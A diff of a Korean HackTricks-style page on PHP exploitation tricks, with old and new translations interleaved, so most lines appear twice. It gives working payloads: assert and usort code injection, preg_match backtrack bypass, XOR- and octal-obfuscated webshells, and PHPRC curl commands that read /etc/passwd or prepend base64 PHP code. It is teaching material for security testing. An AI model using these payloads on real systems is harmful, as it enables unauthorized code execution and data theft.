|
||||
* `"0xAAAA" == "43690" -> True` 10진수 또는 16진수 형식의 숫자로 구성된 문자열은 다른 숫자/문자열과 비교하여 동일할 수 있습니다. (문자열 내의 숫자는 숫자로 해석됨)
|
||||
* `"0e3264578" == 0 --> True` "0e"로 시작하고 뒤에 아무 것이나 오는 문자열은 0과 동일합니다.
|
||||
* `"0X3264578" == 0X --> True` "0"로 시작하고 임의의 문자 (X는 임의의 문자일 수 있음)가 오고 뒤에 아무 것이나 오는 문자열은 0과 동일합니다.
|
||||
* `"0e12334" == "0" --> True` 이것은 매우 흥미로운데, 경우에 따라 "0"으로 시작하는 문자열 입력과 해싱되어 비교되는 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면 비교를 우회할 수 있습니다. 이미 이 형식으로 해싱된 문자열을 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` 문자열 내의 모든 문자는 정수 0과 동일합니다.
|
||||
|
||||
더 많은 정보: [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
자세한 정보: [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
||||
### **in\_array()**
|
||||
|
||||
**타입 강제 변환**은 `in_array()` 함수에도 기본적으로 영향을 미칩니다 (엄격한 비교를 수행하려면 세 번째 인수를 true로 설정해야 함):
|
||||
**타입 강제 변환**은 기본적으로 `in_array()` 함수에도 영향을 미칩니다 (엄격한 비교를 수행하려면 세 번째 인수를 true로 설정해야 함):
|
||||
```php
|
||||
$values = array("apple","orange","pear","grape");
|
||||
var_dump(in_array(0, $values));
|
||||
|
@ -67,28 +67,28 @@ var_dump(in_array(0, $values, true));
|
|||
```
|
||||
### strcmp()/strcasecmp()
|
||||
|
||||
만약 이 함수가 **인증 확인** (예: 비밀번호 확인)에 사용된다면, 사용자가 비교의 한 쪽을 제어할 수 있다면, 비밀번호 값으로 문자열 대신 빈 배열을 보낼 수 있으며 (`https://example.com/login.php/?username=admin&password[]=`), 이 확인을 우회할 수 있습니다:
|
||||
만약 이 함수가 **인증 확인** (예: 비밀번호 확인)에 사용된다면 사용자가 비교의 한 쪽을 제어할 수 있기 때문에 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (`https://example.com/login.php/?username=admin&password[]=`) 그리고 이 확인을 우회할 수 있습니다:
|
||||
```php
|
||||
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
```
|
||||
### `strcasecmp()`에서도 동일한 오류가 발생합니다
|
||||
### Strict type Juggling
|
||||
|
||||
### 엄격한 유형 변환
|
||||
`strcasecmp()`에서도 **동일한 오류**가 발생합니다.
|
||||
|
||||
`===`를 사용하더라도 **유형 변환에 취약한** 오류가 발생할 수 있습니다. 예를 들어, 비교가 **데이터를 비교하기 전에 다른 유형의 객체로 변환하는 경우**:
|
||||
`===`를 **사용하고 있더라도**, **비교를 취약**하게 만드는 **유형 변환** 오류가 발생할 수 있습니다. 예를 들어, 비교가 **데이터를 다른 유형의 객체로 변환한 후에 비교하는 경우**:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
### preg\_match(/^.\*/)
|
||||
|
||||
**`preg_match()`**는 **사용자 입력을 유효성** 검사하는 데 사용될 수 있습니다 (사용자 입력에서 **블랙리스트**에 있는 **단어/정규식**이 **존재하는지 확인**하고 그렇지 않으면 코드가 실행을 계속할 수 있습니다).
|
||||
**`preg_match()`**는 **사용자 입력을 유효성** 검사하는 데 사용될 수 있습니다 (어떤 **단어/정규식**이 **블랙리스트**에 있는지 **사용자 입력**에서 **존재하는지 확인**하고, 그렇지 않으면 코드가 실행을 계속할 수 있습니다).
|
||||
|
||||
#### 새 줄 우회
|
||||
#### 새 줄 바이패스
|
||||
|
||||
그러나 정규식의 시작을 구분할 때 `preg_match()`는 **사용자 입력의 첫 번째 줄만 확인**하므로, 어떻게든 **여러 줄로 입력을 보낼 수 있다면**, 이 검사를 우회할 수 있습니다. 예시:
|
||||
그러나 정규식의 시작을 구분할 때 `preg_match()`는 **사용자 입력의 첫 번째 줄만 확인**하므로, 어떻게든 **여러 줄로 입력을 보낼** 수 있다면 이 검사를 우회할 수 있습니다. 예시:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
|
@ -101,13 +101,13 @@ echo preg_match("/^.*1/",$myinput);
|
|||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
이 체크를 우회하려면 **새 줄로 인코딩된 값**(`%0A`)을 보낼 수 있거나, **JSON 데이터**를 보낼 수 있다면 **여러 줄에 나눠서** 보내세요:
|
||||
이 체크를 우회하려면 **새 줄로 인코딩된 값**(`%0A`)을 보낼 수 있거나 **JSON 데이터**를 보낼 수 있다면 **여러 줄에 나눠서 보내세요**:
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
}
|
||||
```
|
||||
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||
예제를 찾을 수 있습니다: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||
|
||||
#### **길이 오류 우회**
|
||||
|
||||
|
@ -122,13 +122,13 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
간단히 말하면 PHP의 `preg_*` 함수에서 문제가 발생하는 이유는 [PCRE 라이브러리](http://www.pcre.org/)를 기반으로 한다는 것입니다. PCRE에서는 특정 정규 표현식이 많은 재귀 호출을 사용하여 일치하며, 이는 많은 스택 공간을 사용합니다. 재귀 호출 횟수에 제한을 둘 수 있지만 PHP에서는 이 한계가 [기본적으로 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)로 설정되어 있어 스택에 맞지 않습니다.
|
||||
간단히 말하면 PHP의 `preg_*` 함수에서 발생하는 문제는 [PCRE 라이브러리](http://www.pcre.org/)를 기반으로 한다. PCRE에서는 일부 정규 표현식이 많은 재귀 호출을 사용하여 일치시킨다. 이는 많은 스택 공간을 사용한다. 재귀 호출 횟수에 제한을 둘 수 있지만, PHP에서는 이 한계가 [기본적으로 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)으로 설정되어 있어 스택에 맞지 않는다.
|
||||
|
||||
이 문제에 대해 더 자세히 설명된 [이 Stackoverflow 쓰레드](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)도 게시물에 링크되어 있습니다. 우리의 작업은 이제 명확해졌습니다:\
|
||||
**정규식이 100,000회 이상의 재귀를 수행하도록 하는 입력을 보내어 SIGSEGV를 유발시키고 `preg_match()` 함수가 `false`를 반환하도록 만들어 응용 프로그램이 우리의 입력을 악의적이지 않다고 생각하게 하며, 페이로드 끝에 `{system(<verybadcommand>)}`와 같은 놀라운 것을 던져 SSTI --> RCE --> 플래그를 획들하기 위함이었습니다 :)**.
|
||||
이 문제에 대해 더 자세히 설명된 [이 Stackoverflow 쓰레드](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)도 게시물에 링크되어 있습니다. 우리의 작업은 이제 명확해졌다:\
|
||||
**정규식이 100,000회 이상의 재귀를 수행하도록 하는 입력을 보내어 SIGSEGV를 유발시키고 `preg_match()` 함수가 `false`를 반환하도록 만들어 응용 프로그램이 우리의 입력을 악의적이지 않다고 생각하게 하며, 페이로드 끝에 `{system(<verybadcommand>)}`와 같은 놀라운 결과를 던져 SSTI --> RCE --> 플래그를 획들하는 것이다 :)**.
|
||||
|
||||
실제로 정규식 관점에서는 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세는 것이며, 이는 [PHP 문서](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)에서 `pcre.backtrack_limit` 변수의 기본값이 1,000,000(1백만)임을 명시하고 있습니다.\
|
||||
이를 달성하기 위해 `'X'*500_001`은 100만 개의 백트래킹 단계(50만 개의 순방향 및 50만 개의 역방향)를 결과로 낼 것입니다:
|
||||
실제로 정규식 용어로는 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세는 것이며, 이는 [PHP 문서](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)에서 `pcre.backtrack_limit` 변수의 기본값이 1,000,000(1백만)임을 명시하고 있다.\
|
||||
이를 달성하기 위해 `'X'*500_001`은 100만 개의 백트래킹 단계(50만 개의 순방향 및 50만 개의 역방향)를 결과로 낳을 것이다:
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
|
@ -143,9 +143,9 @@ $obfs = 3+2 * (TRUE + TRUE); //int 7
|
|||
$obfs .= ""; //string "7"
|
||||
$obfs += ""; //int 7
|
||||
```
|
||||
## 리디렉션 후 실행 (EAR)
|
||||
## 리다이렉트 후 실행 (EAR)
|
||||
|
||||
만약 PHP가 다른 페이지로 리디렉션하지만 **`die`** 또는 **`exit`** 함수가 **`Location`** 헤더를 설정한 후에 호출되지 않는다면, PHP는 계속 실행되고 데이터를 본문에 추가합니다:
|
||||
만약 PHP가 다른 페이지로 리다이렉트하지만 **`die`** 또는 **`exit`** 함수가 **`Location`** 헤더를 설정한 후에 호출되지 않는다면, PHP는 계속 실행되고 데이터를 본문에 추가합니다:
|
||||
```php
|
||||
<?php
|
||||
// In this page the page will be read and the content appended to the body of
|
||||
|
@ -165,15 +165,15 @@ readfile($page);
|
|||
|
||||
## 더 많은 속임수
|
||||
|
||||
* **register\_globals**: **PHP < 4.1.1.1** 또는 잘못 구성된 경우 **register\_globals**가 활성화될 수 있습니다 (또는 그들의 동작이 모방됩니다). 이는 전역 변수인 $\_GET과 같은 변수에 값이 있는 경우, 예를 들어 $\_GET\["param"]="1234"와 같이 값이 있는 경우 **$param를 통해 액세스할 수 있습니다. 따라서 HTTP 매개변수를 보내어 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다.**
|
||||
* **같은 도메인의 PHPSESSION 쿠키는 동일한 위치에 저장**되므로 도메인 내에서 **다른 경로에서 다른 쿠키가 사용**되는 경우 해당 경로가 다른 경로의 쿠키에 액세스하도록 만들 수 있습니다. 이렇게 하면 **두 경로가 동일한 이름의 변수에 액세스하는 경우** path1의 변수 값이 path2에 적용되도록 만들 수 있습니다. 그런 다음 path2는 path1의 변수를 유효한 값으로 사용합니다 (path2에서 해당하는 이름의 쿠키를 제공하여).
|
||||
* **register\_globals**: **PHP < 4.1.1.1** 또는 잘못 구성된 경우 **register\_globals**가 활성화될 수 있습니다 (또는 그들의 동작이 모방됩니다). 이는 전역 변수인 $\_GET과 같은 변수에 값이 있는 경우에, 예를 들어 $\_GET\["param"]="1234"와 같이 값이 있는 경우 **$param를 통해 액세스할 수 있습니다. 따라서 HTTP 매개변수를 보내어 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다.**
|
||||
* **같은 도메인의 PHPSESSION 쿠키는 동일한 위치에 저장**되므로 도메인 내에서 **다른 경로에서 다른 쿠키가 사용**되는 경우 해당 경로가 다른 경로의 쿠키에 액세스하도록 설정할 수 있습니다. 이렇게 하면 **두 경로가 동일한 이름의 변수에 액세스**하는 경우 **해당 변수의 값을 path1에 적용하여 path2가 path1의 변수를 유효하게 사용**할 수 있습니다 (쿠키에 해당하는 이름을 path2에서 사용하는 이름으로 지정함으로써).
|
||||
* 기계 사용자의 **사용자 이름**을 가지고 있는 경우. 주소를 확인하십시오: **/\~\<USERNAME>** PHP 디렉토리가 활성화되어 있는지 확인하십시오.
|
||||
* [**php 래퍼를 사용한 LFI 및 RCE**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
|
||||
이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성**하고 해시와 비밀번호가 일치하는지 **확인**하는 데 사용됩니다.\
|
||||
지원되는 알고리즘은 다음과 같습니다: `PASSWORD_DEFAULT` 및 `PASSWORD_BCRYPT` (`$2y$`로 시작). **PASSWORD\_DEFAULT가 자주 PASSWORD\_BCRYPT와 동일**하다는 점에 유의하십시오. 현재 **PASSWORD\_BCRYPT**는 **72바이트의 입력에 대한 크기 제한**이 있습니다. 따라서 이 알고리즘으로 72바이트보다 큰 것을 해싱하려고 할 때는 처음 72바이트만 사용됩니다:
|
||||
지원되는 알고리즘은 다음과 같습니다: `PASSWORD_DEFAULT` 및 `PASSWORD_BCRYPT` (`$2y$`로 시작). **PASSWORD\_DEFAULT가 자주 PASSWORD\_BCRYPT와 동일**하며 현재 **PASSWORD\_BCRYPT**는 입력의 72바이트 제한이 있습니다. 따라서 이 알고리즘으로 72바이트보다 큰 것을 해싱하려고 할 때는 처음 72바이트만 사용됩니다:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
|
@ -183,8 +183,8 @@ True
|
|||
```
|
||||
### HTTP 헤더 우회를 통한 PHP 오류 남용
|
||||
|
||||
만약 **PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 에코하는 경우**, 사용자는 PHP 서버가 일부 **충분히 긴 콘텐츠를 출력하도록 만들어** 서버가 응답에 **헤더를 추가하려고 할 때 오류가 발생**하도록 할 수 있습니다.\
|
||||
다음 시나리오에서 **공격자는 서버가 큰 오류를 발생하도록 만들었으며**, 화면에서 볼 수 있듯이 PHP가 **헤더 정보를 수정하려고 시도할 때** (예: CSP 헤더가 사용자에게 전송되지 않음):
|
||||
만약 **PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 에코하는 경우**, 사용자는 PHP 서버가 일부 **충분히 긴 콘텐츠를 다시 출력하도록** 만들 수 있습니다. 따라서 응답에 **헤더를 추가하려고 할 때 서버가 오류를 발생**시킵니다.\
|
||||
다음 시나리오에서 **공격자는 서버가 큰 오류를 발생**하도록 만들었으며, 화면에서 볼 수 있듯이 PHP가 **헤더 정보를 수정하려고 시도할 때** (예: CSP 헤더가 사용자에게 전송되지 않음) 실패했습니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (1082).png>)
|
||||
|
||||
|
@ -194,12 +194,15 @@ True
|
|||
**\`ls\`;**\
|
||||
**shell\_exec("ls");**
|
||||
|
||||
[더 많은 유용한 PHP 함수는 여기를 확인하세요](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
[더 많은 유용한 PHP 함수는 여기를 확인하세요](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
|
||||
### **preg\_replace()**를 통한 RCE
|
||||
```php
|
||||
preg_replace(pattern,replace,base)
|
||||
preg_replace("/a/e","phpinfo()","whatever")
|
||||
```
|
||||
"replace" 인수에서 코드를 실행하려면 적어도 하나의 일치가 필요합니다. 이 preg\_replace 옵션은 **PHP 5.5.0부터 사용이 중단**되었습니다.
|
||||
"replace" 인수에서 코드를 실행하려면 적어도 하나의 일치가 필요합니다.
|
||||
이 preg\_replace 옵션은 **PHP 5.5.0부터 사용이 중단**되었습니다.
|
||||
|
||||
### **Eval()을 통한 RCE**
|
||||
```
|
||||
|
@ -211,15 +214,17 @@ preg_replace("/a/e","phpinfo()","whatever")
|
|||
```
|
||||
### **Assert()를 통한 RCE**
|
||||
|
||||
php 내의 이 함수는 **문자열로 작성된 코드를 실행**하여 **true 또는 false를 반환**하도록 합니다 (이에 따라 실행을 변경). 일반적으로 사용자 변수는 문자열 중간에 삽입됩니다. 예를 들어:\
|
||||
php 내의 이 함수는 **문자열로 작성된 코드를 실행**하여 **true 또는 false를 반환**하도록 합니다 (이에 따라 실행을 변경할 수 있음). 일반적으로 사용자 변수는 문자열 중간에 삽입됩니다. 예를 들어:\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> 이 경우 **RCE**를 얻으려면 다음을 수행할 수 있습니다:
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
### **usort()를 통한 RCE**
|
||||
다음은 usort()를 통한 RCE입니다.
|
||||
|
||||
이 함수는 특정 함수를 사용하여 항목 배열을 정렬하는 데 사용됩니다.\
|
||||
이 함수를 악용하려면:
|
||||
|
||||
---
|
||||
```php
|
||||
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
|
||||
VALUE: );phpinfo();#
|
||||
|
@ -239,15 +244,15 @@ function foo($x,$y){
|
|||
usort();}phpinfo;#, "cmp");
|
||||
}?>
|
||||
```
|
||||
**주석 처리**를 위해 **//**를 사용할 수도 있습니다.
|
||||
### **코드의 나머지 부분을 주석 처리하는 데에도 **//**를 사용할 수 있습니다.
|
||||
|
||||
닫아야 하는 괄호의 수를 발견하려면:
|
||||
|
||||
- `?order=id;}//`: 오류 메시지를 받습니다 (`Parse error: syntax error, unexpected ';'`). 아마도 하나 이상의 괄호가 누락된 것 같습니다.
|
||||
- `?order=id);}//`: **경고**를 받습니다. 그것이 올바른 것 같습니다.
|
||||
- `?order=id));}//`: 오류 메시지를 받습니다 (`Parse error: syntax error, unexpected ')' i`). 아마도 닫는 괄호가 너무 많은 것 같습니다.
|
||||
* `?order=id;}//`: 오류 메시지를 받습니다 (`Parse error: syntax error, unexpected ';'`). 아마도 하나 이상의 괄호가 누락된 것 같습니다.
|
||||
* `?order=id);}//`: **경고**를 받습니다. 그것이 올바른 것 같습니다.
|
||||
* `?order=id));}//`: 오류 메시지를 받습니다 (`Parse error: syntax error, unexpected ')' i`). 아마도 닫는 괄호가 너무 많은 것 같습니다.
|
||||
|
||||
### **.httaccess를 통한 RCE**
|
||||
### **.httaccess**를 통한 RCE
|
||||
|
||||
만약 **.htaccess**를 **업로드**할 수 있다면, 여러 가지를 **구성**하고 코드를 실행할 수 있습니다 (확장자가 .htaccess인 파일이 **실행**될 수 있도록 구성).
|
||||
|
||||
|
@ -255,24 +260,24 @@ usort();}phpinfo;#, "cmp");
|
|||
|
||||
### Env 변수를 통한 RCE
|
||||
|
||||
**PHP에서 env 변수를 수정**할 수 있는 취약점을 발견하면 (또 다른 파일 업로드를 허용하는 취약점이 있어야 하지만, 더 많은 연구를 통해 이를 우회할 수 있을 수도 있음), 이 동작을 악용하여 **RCE**를 얻을 수 있습니다.
|
||||
**PHP에서 env 변수를 수정**할 수 있는 취약점을 발견하면 (그리고 파일을 업로드할 수 있는 다른 취약점이 있으면, 더 많은 연구로 이를 우회할 수 있을지도 모릅니다), 이 동작을 악용하여 **RCE**를 얻을 수 있습니다.
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): 이 env 변수는 다른 이진 파일을 실행할 때 임의의 라이브러리를 로드할 수 있게 합니다 (이 경우에는 작동하지 않을 수도 있음).
|
||||
- **`PHPRC`** : PHP에게 **구성 파일인** `php.ini`라고 일반적으로 불리는 파일의 위치를 알려줍니다. 자체 구성 파일을 업로드할 수 있다면, `PHPRC`를 사용하여 PHP를 가리키도록 할 수 있습니다. 두 번째 업로드한 파일을 지정하는 **`auto_prepend_file`** 항목을 추가합니다. 이 두 번째 파일에는 일반 **PHP 코드가 포함**되어 있으며, PHP 런타임에 의해 다른 코드보다 먼저 실행됩니다.
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): 이 env 변수는 다른 이진 파일을 실행할 때 임의의 라이브러리를 로드할 수 있게 합니다 (이 경우에는 작동하지 않을 수도 있습니다).
|
||||
* **`PHPRC`** : PHP에게 **구성 파일인** `php.ini`라고 일반적으로 불리는 파일의 위치를 알려줍니다. 자체 구성 파일을 업로드할 수 있다면, 그럼 `PHPRC`를 사용하여 PHP를 가리키도록 할 수 있습니다. 두 번째 업로드한 파일을 지정하는 **`auto_prepend_file`** 항목을 추가합니다. 이 두 번째 파일에는 PHP 런타임에 의해 **실행되는 일반적인 PHP 코드**가 포함되어 있습니다.
|
||||
1. 쉘코드가 포함된 PHP 파일을 업로드합니다.
|
||||
2. PHP 전처리기가 단계 1에서 업로드한 파일을 실행하도록 지시하는 **`auto_prepend_file`** 지시문이 포함된 두 번째 파일을 업로드합니다.
|
||||
3. `PHPRC` 변수를 단계 2에서 업로드한 파일로 설정합니다.
|
||||
- 이 체인을 실행하는 방법에 대한 자세한 정보는 [**원본 보고서**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)에서 확인할 수 있습니다.
|
||||
- **PHPRC** - 다른 옵션
|
||||
- 파일을 업로드할 수 없는 경우 FreeBSD에서 "파일" `/dev/fd/0`을 사용할 수 있습니다. 이 파일은 **`stdin`**을 포함하고 있으며, `stdin`으로 보낸 요청의 **본문**입니다:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
- 또는 **`allow_url_include`**를 활성화하고 **base64 PHP 코드**가 포함된 파일을 선행시켜 RCE를 얻을 수 있습니다:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
- 이 기술은 [**이 보고서**](https://vulncheck.com/blog/juniper-cve-2023-36845)에서 확인할 수 있습니다.
|
||||
* 이 체인을 실행하는 방법에 대한 자세한 정보는 [**원본 보고서**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)에서 확인할 수 있습니다.
|
||||
* **PHPRC** - 다른 옵션
|
||||
* 파일을 업로드할 수 없다면 FreeBSD에서 "file" `/dev/fd/0`를 사용할 수 있습니다. 이 파일은 요청의 **`stdin`**인 **body**를 포함합니다:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
* 또는 **`allow_url_include`**를 활성화하고 **base64 PHP 코드**가 포함된 파일을 선행시켜 **RCE**를 얻을 수 있습니다:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
* 이 기술은 [**이 보고서**](https://vulncheck.com/blog/juniper-cve-2023-36845)에서 확인할 수 있습니다.
|
||||
|
||||
## PHP 정적 분석
|
||||
|
||||
이 함수들을 호출하는 코드에 코드를 삽입할 수 있는지 확인하십시오 ([여기](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)에서).
|
||||
이 함수들을 호출하는 코드에 코드를 삽입할 수 있는지 확인하세요 ([여기](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)에서).
|
||||
```php
|
||||
exec, shell_exec, system, passthru, eval, popen
|
||||
unserialize, include, file_put_cotents
|
||||
|
@ -286,11 +291,11 @@ $_COOKIE | if #This mea
|
|||
|
||||
## PHP 래퍼 및 프로토콜
|
||||
|
||||
PHP 래퍼와 프로토콜을 사용하면 시스템에서 **쓰기 및 읽기 보호를 우회**하고 침해할 수 있습니다. [**자세한 정보는 이 페이지를 확인하세요**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
PHP 래퍼와 프로토콜을 사용하면 시스템에서 **쓰기 및 읽기 보호를 우회**하고 침해할 수 있습니다. [**자세한 정보는 이 페이지를 확인하십시오**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
|
||||
## Xdebug 인증되지 않은 RCE
|
||||
## Xdebug 미인증 RCE
|
||||
|
||||
`phpconfig()` 출력에서 **Xdebug**가 **활성화**되어 있는 것을 확인하면 [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)을 통해 RCE를 시도해야 합니다.
|
||||
`phpconfig()` 출력에서 **Xdebug**가 **활성화**되어 있는 경우 [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)를 통해 RCE를 시도해야 합니다.
|
||||
|
||||
## 변수 변수
|
||||
```php
|
||||
|
@ -304,25 +309,25 @@ echo "${Da}"; //Drums
|
|||
echo "$x ${$x}"; //Da Drums
|
||||
echo "$x ${Da}"; //Da Drums
|
||||
```
|
||||
## RCE abusing new $\_GET\["a"]\($\_GET\["b"])
|
||||
## 새로운 $\_GET\["a"]\($\_GET\["b"])을 악용한 RCE
|
||||
|
||||
만약 페이지에서 **임의의 클래스의 새 객체를 생성**할 수 있다면 RCE를 얻을 수 있을 것입니다. 다음 페이지를 확인하여 자세한 내용을 알아보세요:
|
||||
페이지에서 **임의의 클래스의 새 객체를 생성**할 수 있다면 RCE를 얻을 수 있습니다. 다음 페이지를 확인하여 자세히 알아보세요:
|
||||
|
||||
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
||||
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Execute PHP without letters
|
||||
## 문자 없이 PHP 실행하기
|
||||
|
||||
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
|
||||
|
||||
### Using octal
|
||||
### 8진수 사용
|
||||
```php
|
||||
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
|
||||
```
|
||||
### **XOR**
|
||||
|
||||
XOR은 두 개의 비트가 서로 다를 때 1을 반환하는 논리 연산자입니다.
|
||||
XOR는 두 개의 입력 중 하나만이 참일 때 결과가 참이 되는 논리 연산자입니다.
|
||||
```php
|
||||
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
|
||||
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
|
||||
|
@ -331,14 +336,14 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
|||
```
|
||||
### XOR 쉘 코드 간단한 방법
|
||||
|
||||
[**이 writeup**](https://mgp25.com/ctf/Web-challenge/)에 따르면 다음과 같이 간단한 쉘 코드를 생성할 수 있다.
|
||||
[**이 설명**](https://mgp25.com/ctf/Web-challenge/)에 따르면 다음과 같이 간단한 쉘 코드를 생성할 수 있다고 합니다:
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
그래서, **숫자와 문자 없이 임의의 PHP를 실행**할 수 있다면 다음과 같은 요청을 보내어 임의의 PHP를 실행하는 페이로드를 남용할 수 있습니다:
|
||||
그래서, **숫자와 문자 없이 임의의 PHP를 실행**할 수 있다면, 다음과 같은 요청을 보내어 해당 payload를 남용하여 임의의 PHP를 실행할 수 있습니다:
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
@ -405,20 +410,20 @@ $____.=$__;
|
|||
$_=$$____;
|
||||
$___($_[_]); // ASSERT($_POST[_]);
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong>!</summary>
|
||||
<summary><strong>영웨이 에서 제로부터 히어로가 되기까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
